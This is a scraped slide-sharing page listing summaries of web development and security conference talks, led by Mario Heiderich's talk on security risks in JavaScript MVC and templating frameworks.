JSMVCOMFG is a presentation by Mario Heiderich on looking at JavaScript MVC and templating frameworks. These frameworks are becoming popular and complex, often maintained by large corporations. They extend and abstract the DOM using custom elements, script templates, and data bindings. However, they also introduce security risks by allowing JavaScript execution from data attributes and encoded templates, bypassing XSS filters. Frameworks need to implement better sandboxing and separation of code and content to address these issues.
This document contains the code for a Blockly program that draws a circle on a canvas. It includes the JavaScript code to initialize various Blockly blocks like html, body, title, and circle. It also includes the SVG code for the Blockly representation of the program and the final HTML, JavaScript, and SVG output generated by the Blockly program.
JSMVCOMFG - To sternly look at JavaScript MVC and Templating FrameworksMario Heiderich
The document discusses JavaScript MVC and templating frameworks and security issues found during penetration testing. Several frameworks were found to execute arbitrary JavaScript from markup in dangerous ways due to overuse of eval-like functions and lack of separation between code and content. This could lead to bypassing of content security policies. Metrics are proposed to evaluate frameworks on security practices like sandboxing and preventing injection into templates. While challenges exist, following best practices like strict separation of code and content could help frameworks improve security.
This document describes a laboratory work on modeling and analyzing software using the Blockly visual programming environment. It includes the original SVG file code for a circle image, the Blockly blocks generated to code a simple HTML page to draw the circle using Canvas and WebGL, and the JavaScript code for each block.
This document discusses current and emerging web attacks. It notes that while cross-site scripting (XSS) and SQL injection attacks were once prevalent, modern web applications and browsers incorporate defenses against these attacks. However, the document argues that web applications and browsers are evolving in ways that enable new types of multi-layer attacks. Examples are provided of attacks that combine layers like the database management system, JavaScript execution in browsers, and HTML parsing quirks to bypass defenses. The document urges security researchers and practitioners to consider these evolving attack techniques and the growing diversity of client devices and applications.
Knockout.js is a JavaScript library that makes it easier to create dynamic and responsive user interfaces by binding a data model to HTML elements, automatically updating the UI when the data model changes. It provides declarative bindings, dependency tracking, templating, and other features to simplify building dynamic UIs using the MVVM pattern. Knockout.js works with any web framework, has no dependencies, and supports all major browsers.
The document is a tutorial on using jQuery for client-side website construction. It introduces jQuery as a JavaScript library that simplifies DOM manipulation, event handling, animations and Ajax interactions. It provides instructions on loading jQuery, basic usage, and examples of selecting elements and binding events.
Fundamental Node.js (Workshop bersama Front-end Developer GITS Indonesia, War...GITS Indonesia
Salah satu front-end developer GITS Indonesia, Warsono, mengisi workshop di universitas, mengenai Vue.js.
Ikuti kami di kanal berikut, agar tidak ketinggalan acara seru:
Instagram: @gitsindonesia
LinkedIn: GITS Indonesia
Website: gits.id
Knockout.js is a JavaScript library that helps manage dynamic view models. It uses the MVVM pattern to bind the model and view together. The presentation demonstrates how to build a simple to-do list app with Knockout.js, including adding, removing, and clearing completed tasks. Key methods for manipulating observable arrays include remove() to delete a single item and removeAll() to clear multiple items.
This document contains the code for a Blockly program that draws a circle on a canvas. It includes the JavaScript code to initialize various Blockly blocks like html, body, title, and circle. It also includes the SVG code for the Blockly representation of the program and the final HTML, JavaScript, and SVG output generated by the Blockly program.
JSMVCOMFG - To sternly look at JavaScript MVC and Templating FrameworksMario Heiderich
The document discusses JavaScript MVC and templating frameworks and security issues found during penetration testing. Several frameworks were found to execute arbitrary JavaScript from markup in dangerous ways due to overuse of eval-like functions and lack of separation between code and content. This could lead to bypassing of content security policies. Metrics are proposed to evaluate frameworks on security practices like sandboxing and preventing injection into templates. While challenges exist, following best practices like strict separation of code and content could help frameworks improve security.
This document describes a laboratory work on modeling and analyzing software using the Blockly visual programming environment. It includes the original SVG file code for a circle image, the Blockly blocks generated to code a simple HTML page to draw the circle using Canvas and WebGL, and the JavaScript code for each block.
This document discusses current and emerging web attacks. It notes that while cross-site scripting (XSS) and SQL injection attacks were once prevalent, modern web applications and browsers incorporate defenses against these attacks. However, the document argues that web applications and browsers are evolving in ways that enable new types of multi-layer attacks. Examples are provided of attacks that combine layers like the database management system, JavaScript execution in browsers, and HTML parsing quirks to bypass defenses. The document urges security researchers and practitioners to consider these evolving attack techniques and the growing diversity of client devices and applications.
Knockout.js is a JavaScript library that makes it easier to create dynamic and responsive user interfaces by binding a data model to HTML elements, automatically updating the UI when the data model changes. It provides declarative bindings, dependency tracking, templating, and other features to simplify building dynamic UIs using the MVVM pattern. Knockout.js works with any web framework, has no dependencies, and supports all major browsers.
The document is a tutorial on using jQuery for client-side website construction. It introduces jQuery as a JavaScript library that simplifies DOM manipulation, event handling, animations and Ajax interactions. It provides instructions on loading jQuery, basic usage, and examples of selecting elements and binding events.
Fundamental Node.js (Workshop bersama Front-end Developer GITS Indonesia, War...GITS Indonesia
Salah satu front-end developer GITS Indonesia, Warsono, mengisi workshop di universitas, mengenai Vue.js.
Ikuti kami di kanal berikut, agar tidak ketinggalan acara seru:
Instagram: @gitsindonesia
LinkedIn: GITS Indonesia
Website: gits.id
Knockout.js is a JavaScript library that helps manage dynamic view models. It uses the MVVM pattern to bind the model and view together. The presentation demonstrates how to build a simple to-do list app with Knockout.js, including adding, removing, and clearing completed tasks. Key methods for manipulating observable arrays include remove() to delete a single item and removeAll() to clear multiple items.
The document summarizes JavaScript basics and the HTML DOM. It discusses:
1) What JavaScript is and why it is used, including that it adds interactivity to HTML pages and is a scripting language embedded in HTML pages.
2) How and where to place JavaScript code using <script> tags in the <head> or <body> sections.
3) JavaScript language basics like variables, functions, conditional statements, and loops.
4) JavaScript events like onclick, onmouseover, and onsubmit and how they are used.
5) JavaScript objects including built-in objects like String, Date, and Array as well as creating custom objects.
6) HTML DOM objects that can be accessed
This document provides an overview of JavaScript, including what JavaScript is, how it is used, and some key JavaScript concepts. It defines JavaScript as the scripting language of the web that is used to add interactivity and functionality to HTML pages. The document outlines JavaScript statements, variables, operators, events, and error handling. It also discusses how JavaScript can interact with HTML elements, validate forms, detect the browser, and use cookies. The last few sections cover the navigator object and how JavaScript can retrieve information about the user's browser.
JavaScript is a scripting language used to add interactivity to HTML pages. It allows dynamic updating of web page content without reloading the page. JavaScript code can be added inline, embedded, or externally linked in HTML pages. Common JavaScript elements include objects, properties, methods, events, functions, variables, expressions, conditions, loops, and arrays. The DOM (Document Object Model) represents HTML documents and allows JavaScript to access and modify elements dynamically. Cookies are used by JavaScript to store and retrieve information on the client-side.
Reviews the basis of using JavaScript within WordPress. How to load in scripts correctly and move PHP data into JavaScripts for later use. Presented at WordCamp LA 2012
This document provides an overview of jQuery, including how to download and include it in HTML, basic syntax, selectors, events, effects, DOM manipulation methods, AJAX functionality, and links for additional resources. It covers the core concepts like $(selector).action(), chaining methods, and using $(document).ready() to ensure the page is loaded before running scripts. Common selectors, events, effects, and traversal/filtering methods are demonstrated.
This document provides an introduction and overview of JavaScript, including data types, variables, operators, control structures, the Document Object Model (DOM), and debugging techniques. It discusses JavaScript syntax, functions, scopes, arrays, and common language features. It also covers how to include JavaScript in HTML documents, both inline and via external files. The DOM is explained as a way for JavaScript to programmatically access and modify elements in an HTML document.
AngularJS is a JavaScript framework that uses MVC architecture and directives to extend HTML. Directives allow behaviors and transformations to DOM elements. Common directives include ng-app to define the root element, ng-controller for application logic, ng-model for two-way data binding, and ng-repeat for listing elements. AngularJS makes applications faster, more interactive and testable through features like data binding, dependency injection and reusable components.
- Talk from FrontConf Munich 2017
- https://frontconf.com/talks/09-12-2017/reactive-type-safe-webcomponents
Abstract:
You know the drill right? new cool framework/library appears... boom! new Datepicker in that framework follows and soon enough whole UI libraries, again and again....
It's 2017 and it's time to stop this madness once and for all! How you ask?
In this talk we will go through implementation of an app via vanilla web components and explore all the pain points with all these low level primitives that we have natively in the browser.
In the end we will build our custom super tiny reactive type-safe library which will allow us to build web components with a breeze
Write once, use everywhere by using the platform + abstraction for great Developer experience.
ng-owasp: OWASP Top 10 for AngularJS ApplicationsKevin Hakanson
The OWASP Top 10 provides a list of the 10 most critical web application security risks. How do these relate to AngularJS applications? What security vulnerabilities should developers be aware of beyond XSS and CSRF?
This session will review the OWASP Top 10 with a front-end development focus on HTML and JavaScript. It will look at patterns to implement and others to consider avoiding. We will also explore several built-in features of AngularJS that help secure your application.
Blockly is a visual programming editor used to generate HTML and JavaScript code. The document describes the development of Blockly blocks for creating a basic WebGL page. Blockly blocks were created for elements of an HTML page like the header, title, body, and canvas. Additional blocks generate JavaScript code for drawing shapes on the canvas using WebGL including lines, setting line styles, and line caps. The full HTML and JavaScript code for a simple WebGL page can be generated by connecting the various Blockly blocks.
Angular를 활용한 웹 프론트단 개발과 2.0에서 달라진점Jeado Ko
Angular를 활용한 웹 프론트단 개발과 2.0에서 달라진점은 Angular 2.0에서 컴포넌트 기반 아키텍처로 변경되었다고 설명했습니다. Angular 2.0에서는 타입스크립트를 사용하며 컴포넌트, 디렉티브, 템플릿 등의 개념이 도입되었습니다. 또한 Angular 2.0
The document discusses various security vulnerabilities in Ajax applications including CSRF, login CSRF, JavaScript hijacking, XSS, and history stealing. It provides examples of how these attacks can be carried out and emphasizes the importance of validating and sanitizing user input to prevent scripts from being executed maliciously on a site. The document also recommends techniques for protecting against these attacks, such as using authentication tokens and disabling client-side script evaluation for untrusted sources.
The Art of AngularJS in 2015 - Angular Summit 2015Matt Raible
Presentation from Angular Summit Keynote in September 2015. http://angularsummit.com/conference/boston/2015/09/session?id=34212
AngularJS is one of today's hottest JavaScript MVC Frameworks. In this session, we'll explore many concepts it brings to the world of client-side development: dependency injection, directives, filters, routing and two-way data binding. We'll also look at its recommended testing tools and build systems.
The document discusses progressive enhancement with JavaScript and Ajax. It defines progressive enhancement as testing for support of different technologies like JavaScript, DOM, and objects, and providing alternative interfaces when something is not supported. It recommends testing for dependencies before using them, and separating interfaces from styles using CSS for flexibility. While CSS-only solutions seem appealing, JavaScript is more powerful and reliable for building complex, accessible interfaces. The key is enhancing interfaces thoughtfully to improve the user experience, not just for the sake of enhancement.
The document discusses frontend application development using jQuery and improvements that can be made. It notes that while jQuery is easy for small amounts of code, complexity grows quickly without proper architecture. It recommends separating view logic from business logic, using proven patterns like MVC/MVVM, creating a custom solution, or leveraging an existing framework. Backbone.js and Marionette.js are introduced as frameworks that can provide structure and simplify code. Key concepts like models, collections, views, and templating are explained for building maintainable single page applications.
MV* presentation frameworks in Javascript: en garde, pret, allez!Roberto Messora
HTML5 is the playing area, the strip, Javascript presentation frameworks are the fences and they are fierce and proud. In this presentation we will attend an interesting match between two of the emerging contenders in the MV* family: KnockoutJS and BackboneJS. We'll try to understand how they solve the same issues in modern web software development to better decide which one is suitable in our scenario.
09 - express nodes on the right angle - vitaliy basyuk - it event 2013 (5)Igor Bronovskyy
09 - Express Nodes on the right Angle - Vitaliy Basyuk - IT Event 2013 (5)
60 вузлів під правильним кутом - миттєва розробка програмних додатків використовуючи Node.js + Express + MongoDB + AngularJS.
Коли ми беремось за новий продукт, передусім ми думаємо про пристрасть, яка необхідна йому, щоб зробити користувача задоволеним і відданим нашому баченню. А що допомагає нам здобути прихильність користувачів? Очевидно, що окрім самої ідеї, також важлими будуть: зручний користувацький інтерфейс, взаємодія в реальному часі та прозора робота з даними. Ці три властивості ми можемо здобути використовучи ті чи інші засоби, проте, коли все лиш починається, набагато зручніше, якщо інструменти допомагають втілити бажане, а не відволікають від головної мети.
Ми розглянемо процес розробки, використовуючи Node.js, Express, MongoDB та AngularJS як найбільш корисного поєднання для отримання вагомої переваги вже на старті вашого продукту.
Віталій Басюк
http://itevent.if.ua/lecture/express-nodes-right-angle-rapid-application-development-using-nodejs-express-mongodb-angular
This document discusses AngularJS and single page applications (SPAs). It begins by defining what a SPA is - a client-side application that functions like a desktop application with rich and responsive functionality. Technically, SPAs use HTML5 and JavaScript with lightweight REST/JSON services and data binding. AngularJS is introduced as a complete framework for building rich SPAs that hides DOM manipulation and uses data binding instead of direct DOM changes. The document then covers key aspects of AngularJS including directives, views/controllers/scopes, modules/routes/services, and custom directives. It concludes by discussing some UI elements in AngularJS and notes that real-world SPAs often blur the lines between client and server.
This document provides an outline and overview of client-side technologies including JavaScript, DOM, and jQuery. The outline covers JavaScript concepts like data types, control structures, arrays, functions, and objects. It also covers DOM levels and manipulating the DOM. Finally, it discusses jQuery and how to load, select elements, handle events, and more. The presentation aims to familiarize students with these important front-end technologies.
This document provides an outline and overview of client-side technologies including JavaScript, DOM, and jQuery. The outline includes sections on JavaScript concepts like data types, control structures, arrays, functions, and objects. It also covers DOM levels and manipulating the DOM, as well as introductions to jQuery for selecting elements, changing styles, and handling events. The presentation provides an overview of these key client-side technologies for students.
Modern JavaScript, HTML5 and CSS3 techniques and examples. There’s an endless amount of materials available around these topics so naturally this set doesn’t cover everything there is to know. Instead this is more like a summary of good techniques and practices I’ve encountered while doing web software development.
The document summarizes JavaScript basics and the HTML DOM. It discusses:
1) What JavaScript is and why it is used, including that it adds interactivity to HTML pages and is a scripting language embedded in HTML pages.
2) How and where to place JavaScript code using <script> tags in the <head> or <body> sections.
3) JavaScript language basics like variables, functions, conditional statements, and loops.
4) JavaScript events like onclick, onmouseover, and onsubmit and how they are used.
5) JavaScript objects including built-in objects like String, Date, and Array as well as creating custom objects.
6) HTML DOM objects that can be accessed
This document provides an overview of JavaScript, including what JavaScript is, how it is used, and some key JavaScript concepts. It defines JavaScript as the scripting language of the web that is used to add interactivity and functionality to HTML pages. The document outlines JavaScript statements, variables, operators, events, and error handling. It also discusses how JavaScript can interact with HTML elements, validate forms, detect the browser, and use cookies. The last few sections cover the navigator object and how JavaScript can retrieve information about the user's browser.
JavaScript is a scripting language used to add interactivity to HTML pages. It allows dynamic updating of web page content without reloading the page. JavaScript code can be added inline, embedded, or externally linked in HTML pages. Common JavaScript elements include objects, properties, methods, events, functions, variables, expressions, conditions, loops, and arrays. The DOM (Document Object Model) represents HTML documents and allows JavaScript to access and modify elements dynamically. Cookies are used by JavaScript to store and retrieve information on the client-side.
Reviews the basis of using JavaScript within WordPress. How to load in scripts correctly and move PHP data into JavaScripts for later use. Presented at WordCamp LA 2012
This document provides an overview of jQuery, including how to download and include it in HTML, basic syntax, selectors, events, effects, DOM manipulation methods, AJAX functionality, and links for additional resources. It covers the core concepts like $(selector).action(), chaining methods, and using $(document).ready() to ensure the page is loaded before running scripts. Common selectors, events, effects, and traversal/filtering methods are demonstrated.
This document provides an introduction and overview of JavaScript, including data types, variables, operators, control structures, the Document Object Model (DOM), and debugging techniques. It discusses JavaScript syntax, functions, scopes, arrays, and common language features. It also covers how to include JavaScript in HTML documents, both inline and via external files. The DOM is explained as a way for JavaScript to programmatically access and modify elements in an HTML document.
AngularJS is a JavaScript framework that uses MVC architecture and directives to extend HTML. Directives allow behaviors and transformations to DOM elements. Common directives include ng-app to define the root element, ng-controller for application logic, ng-model for two-way data binding, and ng-repeat for listing elements. AngularJS makes applications faster, more interactive and testable through features like data binding, dependency injection and reusable components.
- Talk from FrontConf Munich 2017
- https://frontconf.com/talks/09-12-2017/reactive-type-safe-webcomponents
Abstract:
You know the drill right? new cool framework/library appears... boom! new Datepicker in that framework follows and soon enough whole UI libraries, again and again....
It's 2017 and it's time to stop this madness once and for all! How you ask?
In this talk we will go through implementation of an app via vanilla web components and explore all the pain points with all these low level primitives that we have natively in the browser.
In the end we will build our custom super tiny reactive type-safe library which will allow us to build web components with a breeze
Write once, use everywhere by using the platform + abstraction for great Developer experience.
ng-owasp: OWASP Top 10 for AngularJS ApplicationsKevin Hakanson
The OWASP Top 10 provides a list of the 10 most critical web application security risks. How do these relate to AngularJS applications? What security vulnerabilities should developers be aware of beyond XSS and CSRF?
This session will review the OWASP Top 10 with a front-end development focus on HTML and JavaScript. It will look at patterns to implement and others to consider avoiding. We will also explore several built-in features of AngularJS that help secure your application.
Blockly is a visual programming editor used to generate HTML and JavaScript code. The document describes the development of Blockly blocks for creating a basic WebGL page. Blockly blocks were created for elements of an HTML page like the header, title, body, and canvas. Additional blocks generate JavaScript code for drawing shapes on the canvas using WebGL including lines, setting line styles, and line caps. The full HTML and JavaScript code for a simple WebGL page can be generated by connecting the various Blockly blocks.
Angular를 활용한 웹 프론트단 개발과 2.0에서 달라진점Jeado Ko
Angular를 활용한 웹 프론트단 개발과 2.0에서 달라진점은 Angular 2.0에서 컴포넌트 기반 아키텍처로 변경되었다고 설명했습니다. Angular 2.0에서는 타입스크립트를 사용하며 컴포넌트, 디렉티브, 템플릿 등의 개념이 도입되었습니다. 또한 Angular 2.0
The document discusses various security vulnerabilities in Ajax applications including CSRF, login CSRF, JavaScript hijacking, XSS, and history stealing. It provides examples of how these attacks can be carried out and emphasizes the importance of validating and sanitizing user input to prevent scripts from being executed maliciously on a site. The document also recommends techniques for protecting against these attacks, such as using authentication tokens and disabling client-side script evaluation for untrusted sources.
The Art of AngularJS in 2015 - Angular Summit 2015Matt Raible
Presentation from Angular Summit Keynote in September 2015. http://angularsummit.com/conference/boston/2015/09/session?id=34212
AngularJS is one of today's hottest JavaScript MVC Frameworks. In this session, we'll explore many concepts it brings to the world of client-side development: dependency injection, directives, filters, routing and two-way data binding. We'll also look at its recommended testing tools and build systems.
The document discusses progressive enhancement with JavaScript and Ajax. It defines progressive enhancement as testing for support of different technologies like JavaScript, DOM, and objects, and providing alternative interfaces when something is not supported. It recommends testing for dependencies before using them, and separating interfaces from styles using CSS for flexibility. While CSS-only solutions seem appealing, JavaScript is more powerful and reliable for building complex, accessible interfaces. The key is enhancing interfaces thoughtfully to improve the user experience, not just for the sake of enhancement.
The document discusses frontend application development using jQuery and improvements that can be made. It notes that while jQuery is easy for small amounts of code, complexity grows quickly without proper architecture. It recommends separating view logic from business logic, using proven patterns like MVC/MVVM, creating a custom solution, or leveraging an existing framework. Backbone.js and Marionette.js are introduced as frameworks that can provide structure and simplify code. Key concepts like models, collections, views, and templating are explained for building maintainable single page applications.
MV* presentation frameworks in Javascript: en garde, pret, allez!Roberto Messora
HTML5 is the playing area, the strip, Javascript presentation frameworks are the fences and they are fierce and proud. In this presentation we will attend an interesting match between two of the emerging contenders in the MV* family: KnockoutJS and BackboneJS. We'll try to understand how they solve the same issues in modern web software development to better decide which one is suitable in our scenario.
09 - express nodes on the right angle - vitaliy basyuk - it event 2013 (5)Igor Bronovskyy
09 - Express Nodes on the right Angle - Vitaliy Basyuk - IT Event 2013 (5)
60 вузлів під правильним кутом - миттєва розробка програмних додатків використовуючи Node.js + Express + MongoDB + AngularJS.
Коли ми беремось за новий продукт, передусім ми думаємо про пристрасть, яка необхідна йому, щоб зробити користувача задоволеним і відданим нашому баченню. А що допомагає нам здобути прихильність користувачів? Очевидно, що окрім самої ідеї, також важлими будуть: зручний користувацький інтерфейс, взаємодія в реальному часі та прозора робота з даними. Ці три властивості ми можемо здобути використовучи ті чи інші засоби, проте, коли все лиш починається, набагато зручніше, якщо інструменти допомагають втілити бажане, а не відволікають від головної мети.
Ми розглянемо процес розробки, використовуючи Node.js, Express, MongoDB та AngularJS як найбільш корисного поєднання для отримання вагомої переваги вже на старті вашого продукту.
Віталій Басюк
http://itevent.if.ua/lecture/express-nodes-right-angle-rapid-application-development-using-nodejs-express-mongodb-angular
This document discusses AngularJS and single page applications (SPAs). It begins by defining what a SPA is - a client-side application that functions like a desktop application with rich and responsive functionality. Technically, SPAs use HTML5 and JavaScript with lightweight REST/JSON services and data binding. AngularJS is introduced as a complete framework for building rich SPAs that hides DOM manipulation and uses data binding instead of direct DOM changes. The document then covers key aspects of AngularJS including directives, views/controllers/scopes, modules/routes/services, and custom directives. It concludes by discussing some UI elements in AngularJS and notes that real-world SPAs often blur the lines between client and server.
This document provides an outline and overview of client-side technologies including JavaScript, DOM, and jQuery. The outline covers JavaScript concepts like data types, control structures, arrays, functions, and objects. It also covers DOM levels and manipulating the DOM. Finally, it discusses jQuery and how to load, select elements, handle events, and more. The presentation aims to familiarize students with these important front-end technologies.
This document provides an outline and overview of client-side technologies including JavaScript, DOM, and jQuery. The outline includes sections on JavaScript concepts like data types, control structures, arrays, functions, and objects. It also covers DOM levels and manipulating the DOM, as well as introductions to jQuery for selecting elements, changing styles, and handling events. The presentation provides an overview of these key client-side technologies for students.
Modern JavaScript, HTML5 and CSS3 techniques and examples. There’s an endless amount of materials available around these topics so naturally this set doesn’t cover everything there is to know. Instead this is more like a summary of good techniques and practices I’ve encountered while doing web software development.
Angular.JS is a modern Javascript MVC Framework that was built from the ground up by a team of Googlers, sponsored by Google itself. Angular.JS allows web developers a clear separation between logic and view, and greatly improves the ability to reuse the code by using things such as Directives, Services, Components.Angular.JS smart templating engine also allows to minimize the HTML code, During the presentation, you'll learn some medium-advanced usages of Angular.JS, how to use it, tips & tricks that will make your app amazing.
TDC2017 | Florianopolis - Trilha DevOps How we figured out we had a SRE team ...tdc-globalcode
The document discusses the history and evolution of JavaScript packaging and module bundling from 2000 to the present. It covers early approaches using individual script tags to load JS files, the introduction of minification tools like JSMin in 2003, concatenating files together in the late 2000s, module loaders like RequireJS in 2009, the rise of Node.js and package managers in 2010, and the modern dominance of bundlers like Webpack since 2014 which use loaders to bundle dependencies and assets into single files or chunks.
This document provides an overview of Angular.JS and advanced Angular.JS concepts. It discusses bootstrapping an Angular app, the main features of Angular including templating, routing, two-way data binding, directives, and dependency injection. It also covers best practices, testing and tooling, SEO considerations for Angular apps, and whether Angular is suitable for enterprise projects. The presenter then demonstrates a bootstrapped Angular app and provides resources for learning more about Angular.
Node.js is a JavaScript runtime built on Chrome's V8 engine that makes building network and server-side applications quick and easy. It is commonly used with AngularJS (Angular) for the front-end to create full-stack JavaScript (MEAN stack) applications. Node.js uses an event-driven, non-blocking I/O model that makes it lightweight and efficient. Common uses of Node.js include building real-time applications, working with files and streams, and using modules to reuse and share code. MongoDB is often used as the database for MEAN stack applications and Mongoose provides an ORM for interacting with MongoDB from Node.js applications. Angular is a front-end web application framework that
Webpack is a module bundler that packs JavaScript files and their dependencies into small bundles for efficient loading on the browser. It builds a dependency graph by walking through imports and outputs bundles or individual files. Loaders allow transforming assets and piping them together, like using babel-loader to transpile JSX to ES5 and css-loader to bundle CSS. This summarizes the key points about Webpack's purpose, how it builds dependencies, and the role of loaders.
Chicago Coder Conference 2015
Speaker Biography: Wei Ru
Wei Ru has over 15 years of professional experience in design and development of Java enterprise applications across multiple industries. Currently he works as a technical architect at STA Group, LLC. He received a M.S. degree in Computer Science from Loyola University Chicago. As a software developer with an emphasis on Java, he strongly believes in software re-usability, open standards, and various best practices. He has successfully delivered many products using open source platforms and frameworks during his IT consultancies.
Speaker Biography: Vincent Lau
Vincent Lau has been Senior Architect at STA Group in Chicago for the last two years. He received a B.S. degree in Accounting and Finance from the University of Illinois at Chicago and worked on M.S. of Computer Science at DePaul University. He has over 15 years of software design, development, testing and project management experience on large enterprise distributed computing platforms. Most recently, he has worked on web based applications using Java, Spring, JavaScript, Angular.js, jQuery and web services. He previously had Senior Software Engineer and Lead positions in Royal Caribbean Cruises, Wells Fargo Bank, Cap Gemini America and Trans Union Corp.
Presentation: Practical AngularJS
AngularJS has been seen gaining momentum recently. Whether you want to develop a modern single-page application or to spice up only the view enabled by a traditional MVC web framework, AngularJS allows you to write cleaner, shorter code. AngularJS’ two-way data binding feature allows a declarative approach on views and controllers, and ultimately code modulization. With this strategic change and many features offered by AngularJS, learning AngularJS can be challenging. In this session, we will share some of the experiences we had in Angular UI development, we will cover:
AngularJS modules and common project setup
Communicating to a Restful service
Commonly used Angular functions, directives
UI Bootstrap, grid views and forms in AngularJS
Custom Angular directives
Asynchronous functions and event processing
The document provides an overview of key concepts in AngularJS including directives, controllers, scopes and data binding. It demonstrates how to get started with AngularJS by including the AngularJS script, using directives like ng-app, ng-model, ng-controller and ng-repeat. Controllers are used to define the application logic and bind data to the view using scopes. Data can be formatted for display using filters like currency.
Presented at Bucharest Java User Group, http://www.bjug.ro/editii/5.html . Project source code available at: https://github.com/bucharest-jug/dropwizard-todo
This document discusses techniques for improving frontend performance. It recommends making fewer HTTP requests, using a content delivery network, adding expiration headers, gzipping components, optimizing stylesheet and script placement, avoiding redirects and duplicate scripts, and more. It also covers techniques for loading scripts asynchronously without blocking page rendering, such as using script elements, XHR, and iframes. Faster page loads can improve user experience and increase revenue.
An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015CODE BLUE
Some voices claim that "Angular is what HTML would have been if it had been designed for building web applications". While this statement may or may not be true, is certainly accounts as one of the bolder ones a JavaScript web framework can ever issue. And where boldness is glistening like a German Bratwurst sausage in the evening sun, a critical review from a grumpy old security person shouldn’t be too far away. This talk will have a stern, very stern look at AngularJS in particular and shed light on the security aspects of this ever-popular tool. Did the super-hero framework do everything right and follow its own super-heroic principles? Does AngularJS increase or rather decrease the attack surface of a web application? How does AngularJS play along with the Content Security Policy, and was it a good idea to combine this kind of security with futuristic feature creep? And what about AngularJS version 2.0? Beware that we won’t stop at glancing at the code itself, investigating security best practices, and verifying compatibility and other common things that contribute to robust security (or lack thereof). We will cross the moral border and see if the AngularJS team could notice rogue bug tickets. A pivotal question that everyone is wondering about is: Have they successfully kept evil minds like yours truly speaker here from introducing new security bugs into the code base? This talk is a reckoning with a modern JavaScript framework that promises a lot and keeps even more, not necessarily for the best for developers and users. We will conclude in deriving a general lesson learnt and hopefully agree that progress doesn't invariably mean an enhancement.
The document discusses enhancing the OpenStack Horizon dashboard user interface with AngularJS. It provides an overview of OpenStack and Horizon architectures, and then describes how to add a new panel to Horizon using AngularJS. Key aspects covered include creating RESTful APIs, controllers, views, and templates to integrate new dynamic and client-side functionality within the existing Horizon framework. The approach allows cleaner separation of client and server code for improved user experience, testing, and development velocity.
This document discusses Spine.js and creating non-blocking user interfaces. It provides an overview of Spine.js, including how it compares to Backbone.js in its use of controllers instead of views and models instead of collections. It also discusses how Spine.js enables asynchronous user interfaces through its handling of events like save callbacks before ajax calls. Finally, it addresses some limitations of Spine.js for transactions and situations requiring server-side validation.
gDayX 2013 - Advanced AngularJS - Nicolas EmbletonGeorge Nguyen
This document provides an overview of AngularJS. It begins with introductions and then outlines the agenda which includes bootstrapping, why AngularJS is useful, main features like templating and data binding, best practices, testing and tooling, SEO considerations, and whether it can be used for enterprise projects. It then demonstrates some AngularJS concepts like directives and templating. The document emphasizes AngularJS' reusability, testability, and production readiness while noting best practices are important for complex projects.
This document provides an introduction and overview of AngularJS. It discusses key AngularJS concepts like directives, controllers, filters, models, configuration, routing, resources, testing and more. Code examples are provided throughout to demonstrate how each concept works in practice. The document is intended to give readers a high-level understanding of AngularJS and its capabilities for building dynamic web applications.
The document discusses AngularJS, a JavaScript framework. It includes information about two individuals - Dariusz Kalbarczyk, an experienced AngularJS programmer, and Arkadiusz Kalbarczyk, a student studying computer engineering. The document then covers various AngularJS topics like directives, controllers, scopes, and mobile frameworks like Ionic.
In a world dominated by React and Angular, Vue is the open source framework that brings a third alternative to the table, combining the strengths of the first two while trying to weed out their weaknesses.
The result is an easy to use, lightweight and versatile framework. In this talk we will explore Vue's architecture, see how components interact among themselves, have a look at the event model and in the end, how to wrap everything together in a SPA using Webpack.
Similar to StHack 2014 - Mario "@0x6D6172696F" Heiderich - JSMVCOMFG (20)
Sthack 2015 - Ramon Vicens & Victor Acin - Cyber threats "the reality"StHack
The main idea behind this talk is to introduce the listeners of Sthack conference to the current landscape in the botnet threats. We'll begin talking about the main types of malware botnets: Trojan Bankers, Point of Sales and Credential Stealers, but we will focus on how some of these botnets operate in a technical level, specially, how the bots of Dyre, JackPoS and Pony are working nowadays in order to steal credit cards and banking credentials.
Sthack 2015 - David Berard & Vincent Fargues - Attack the cache to get some cashStHack
The NoSuchCon challenge was published in September 2014, for the second edition of the NoSuchCon conference. The last step of this challenge consists in exploiting a remote cryptographic service used to store encrypted messages and keys. To solve this step, a timing attack against the CPU cache was used. The access time for certain memory areas is measured regularly.
The time spent reading those memory areas depends on previous hits, this side-channel information can be used to extract data. This talk will explain the technique commonly called "Cache Attack" based on some existing papers, a demonstration will be conducted showing the extraction of the RSA private key.
Industrial control systems are the core of the management of industries which dysfunction can have a human impact (injuries, deaths), cause environmental disasters or interfere with the proper functioning of state services. These systems have historically been designed to operate while ensuring high reliability levels in totally isolated environments (not interconnected with other networks). However, technologies and threats affecting the industrial world are evolving, bringing out new risks on infrastructures designed with little or no integration of the issues related to cybersecurity.
The purpose of this presentation is to provide a general look on cybersecurity issues in industrial environments and make a return on the main vulnerabilities that may be encountered and ways to correct it.
Sthack 2015 - Aris "@aris_ada" Adamantiadis - DUAL_EC_DRBG : Une histoire de ...StHack
Juin 2006, le NIST publie les spécifications de plusieurs générateurs de nombres pseudo-aléatoires, dont le tristement célèbre Dual_EC_DRBG, dans la norme NIST SP 800-90A, et cela malgré le scepticisme de la communauté crypto. Depuis, il a été démontré que ce générateur peut facilement être détourné pour rendre ses sorties totalement prévisibles, en faisant un cas d'école de kleptographie (ce qui n'a pas empêché qu'il soit utilisé).
Cette présentation technique donnera les bases nécessaires pour comprendre l'utilisation des courbes elliptiques en cryptographie et comment elles ont servi à corrompre ce générateur d'aléa.
This talk can be considered like the part 2 of my talk at SecurityDay. In the previous part, I talked about how it was possible to cover a targeted function in memory using the DSE (Dynamic Symbolic Execution) approach. Cover a function (or its states) doesn't mean find all vulnerabilities, some vulnerability doesn't crashes the program. That's why we must implement specific analysis to find specific bugs. These analysis are based on the binary instrumentation and the runtime behavior analysis of the program. In this talk, we will see how it's possible to find these following kind of bugs : off-by-one, stack / heap overflow, use after free and format string.
La présentation introduira les principes de fonctionnement des ordinateurs quantiques, la conception de portes logiques et d'algorithmes quantiques simples puis leur exécution sur une véritable puce quantique optoélectronique de l'université de Bristol. Les premiers ordinateurs quantiques sont donc une réalité. Plusieurs attaques et leurs impacts sur les cryptosystèmes symétriques et asymétriques actuels sont analysés et différentes alternatives sont proposées pour être utilisées dans le futur. Les participants sont encouragés à participer avec leur ordinateur portable pour mettre en pratique les exemples abordés.
StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injectionStHack
